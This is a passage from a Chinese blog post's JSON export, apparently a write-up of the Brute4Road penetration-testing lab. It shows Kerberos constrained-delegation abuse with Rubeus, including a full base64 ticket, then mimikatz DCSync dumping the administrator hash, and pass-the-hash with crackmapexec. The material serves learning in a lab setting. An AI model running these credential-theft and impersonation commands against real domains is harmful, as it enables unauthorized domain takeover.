\u6269\u5c55\u4ee3\u8868\u57df\u7ba1\u7406\u5458 Administrator \u8bf7\u6c42\u9488\u5bf9\u57df\u63a7 LDAP \u670d\u52a1\u7684\u7968\u636e\uff0c\u5e76\u5c06\u5f97\u5230\u7684\u7968\u636e\u4f20\u9012\u5230\u5185\u5b58\u4e2d<\/p>\n<pre><code class=\"language-shell line-numbers\">Rubeus.exe s4u \/impersonateuser:Administrator \/msdsspn:CIFS\/DC.xiaorang.lab \/dc:DC.xiaorang.lab \/ptt \/ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3wn7THDOkrmv1eLr+klUyGS4WefLBrpejaasm\/7ihxokj2LU8MMVP\/wxUVOllFJiZrpRAOf5MG5HHvvfXfEe0zRelJGFWg5Vg7wtD89Cg6i8\/e6wsKRofgKxNgipRctPzHjZ0OZk4UybNlE8D9X9+1hpYtKVWCZG1DKtEXEcqbvm6m\/jte2udatJdSH2awHsdQIelKShLJOlptDwTW3tmXjDZcNpztbvmsGBBQFMqfLKZ1ZRgCdufAJBIaFlkcnhDrY1URydomNNl6FqdNMRnmWsFAC7VegT5+4aLLPYVvmn+iQG32rsPCsspUEJO7lXh9yIoSo9NQ\/FogIFOjx7TzaUi4mOlG8ZPgJ24aTJba9yMlIzp3Awlw\/1EwVl4+Drgqg0O7DLfjc6\/qDvc+VEveN\/td4dieC5LAVNVD5LLCiMcVavAre5SzhXgfUAOXcQRx2SHv3Vr5QbIp0PIYuP9Z6Apg9itXJ8LgKCrASdxpOMvxWN8cmJoZPXnRCN+onSkvfyDgmsAKOQl3kuGG++9F2AJs54Urv\/fbaORpzSi9tw66N\/4cvc4e3T4LUEzY6FszfZR7n8EkJz8YOl5gRFxEsTO+KVq1LSNpPTqBV7Ih0XzkXCqihs4dVA0Lunn40FrjCOyo\/OrElZ1+Z6sR\/hDQY034XEX3qya7Zsyw8uRLMNi5LTX9VYnTaFY5f1\/1ugWQVT\/\/pG4JP98Yzddzb8tMnpoxCfPQnxGOes8fgrczPjCsdWFHK4ZZUuSTMIGgk2a+nYP0kbi1ehqU1hyzDlEtKoeq7Y64zJcTeXyF\/5QC+gGITSnAeHN1WaJALg6K1dsKVmpvzOElb5oZHQk\/vSUppi8C+4sfhByFTDyVPsjMOkJdbl\/JPc3uBoKBI5cF2ybiLEEFQfb5JQKQ3jDksFD6kYYSO2jGLmX4Y2v6LSv9NXDySHHZFjiak3eAEbNzCLgqlNBMzEbuGn7qGIigYcny4LvsfnBQXrvYr2u6pyoh1QfMEzEUEsRuFdGYZLFHDNIeZv80i2tRJMMyW+nLgWoIPuypGSIOsK7mgKKkZKG67btgQ\/pgHbEex+MLW1KEhM+ZT\/YdsXRWA6t47nBLCKrqFI7it+Zrm+9Ro5vOvViUZeTyOf+FUhbiliIfWQ3M9vBYMG6tL1FnR4bG1KfryCFbKNK2xmg3Nrs49N3LnVyWlIyt09bz5N4eYwUEJFrkItvRLqkbn6BKzIgVcnEmD6AYyzlD\/0JbrPAIeAKI2854bT3plSqQhBy4yGF2sjRvV9pBZ2DNf48q14Ed5qnmJLVn3RNawCQ3KyPzEurzIrNv3r6\/Ydru8jxUHlE+LEN6DfA00pY8H5nSbFFmLvTPfMObifa+gL+HB49X81B2vM5YCXi8HUS1xgCORyiiV125GX+ZljiEepf7kusa2Tqno\/aqhLBfvYuJL5v\/SD40cExJexGRJBSP\/iaQXnSz6SyjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCTLkzy20nnXJc7P8dv7HB\/oQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMDczMTExNDY1MFqmERgPMjAyMzA3MzEyMTQ2NTBapxEYDzIwMjMwODA3MTE0NjUwWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==\n<\/code><\/pre>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690804618-\u5fae\u4fe1\u622a\u56fe_20230731195634-1024x533.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690804618-\u5fae\u4fe1\u622a\u56fe_20230731195634-1024x533.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u73b0\u5728\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u57df\u63a7\u7684\u6587\u4ef6\uff0c\u6309\u7167\u5957\u8def type \u5176\u5b9e\u5c31\u53ef\u4ee5\u8bfb\u4e86<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690804702-\u5fae\u4fe1\u622a\u56fe_20230731195806-1024x367.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690804702-\u5fae\u4fe1\u622a\u56fe_20230731195806-1024x367.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u8bb2\u9053\u7406\uff0c\u5728\u4e0d\u77e5\u9053\u8def\u5f84\u7684\u60c5\u51b5\u4e0b\uff0c\u9700\u8981\u7ee7\u7eed\u5229\u7528 LDAP \u670d\u52a1\uff0cmimikatz.exe \u5bfc\u51fa\u57df\u5185\u7528\u6237\u7684 HASH<\/p>\n<pre><code class=\"language-shell line-numbers\">mimikatz.exe \"lsadump::dcsync \/domain:xiaorang.lab \/user:Administrator\" exit\n<\/code><\/pre>\n<p>\u5f97\u5230\u7ba1\u7406\u5458\u54c8\u5e0c\u4e3a <code>1a19251fbd935969832616366ae3fe62<\/code><\/p>\n<p><code>crackmapexec smb<\/code> \u4f20\u9012\u5c31\u53ef\u4ee5<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690805289-\u5fae\u4fe1\u622a\u56fe_20230731200721-1024x409.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690805289-\u5fae\u4fe1\u622a\u56fe_20230731200721-1024x409.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<hr \/>\n<p>\u524d\u4e09\u90e8\u5206\u5176\u5b9e\u8fd8\u597d\uff0c\u6700\u540e\u4e00\u90e8\u5206\u7ea6\u675f\u59d4\u6d3e\u8fd9\u65b9\u9762\u5f97\u518d\u597d\u597d\u5b66\u4e60\u4e00\u4e0b\u2026\u2026<\/p>","protected":false},"excerpt":{"rendered":"Brute4Road\u662f\u4e00\u5957\u96be\u5ea6\u4e3a\u4e2d\u7b49\u7684\u9776\u573a\u73af\u5883\uff0c\u5b8c\u6210\u8be5\u6311\u6218\u53ef\u4ee5\u5e2e\u52a9\u73a9\u5bb6\u4e86\u89e3\u5185\u7f51\u6e17\u900f\u4e2d\u7684\u4ee3\u7406\u8f6c\u53d1\u3001\u5185\u7f51\u626b\u63cf\u3001\u4fe1\u606f [&hellip;]","protected":false},"author":1,"featured_media":798,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[26,29],"tags":[31],"class_list":["post-797","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-study","category-yunjing","tag-31"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/119.45.47.125\/wp-content\/uploads\/2023\/07\/1690162295-f373ff22c9b9d633c7f894a3453639d0.png?fit=530%2C550","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/797","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/comments?post=797"}],"version-history":[{"count":6,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/797\/revisions"}],"predecessor-version":[{"id":854,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/797\/revisions\/854"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media\/798"}],"wp:attachment":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media?parent=797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/categories?post=797"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/tags?post=797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}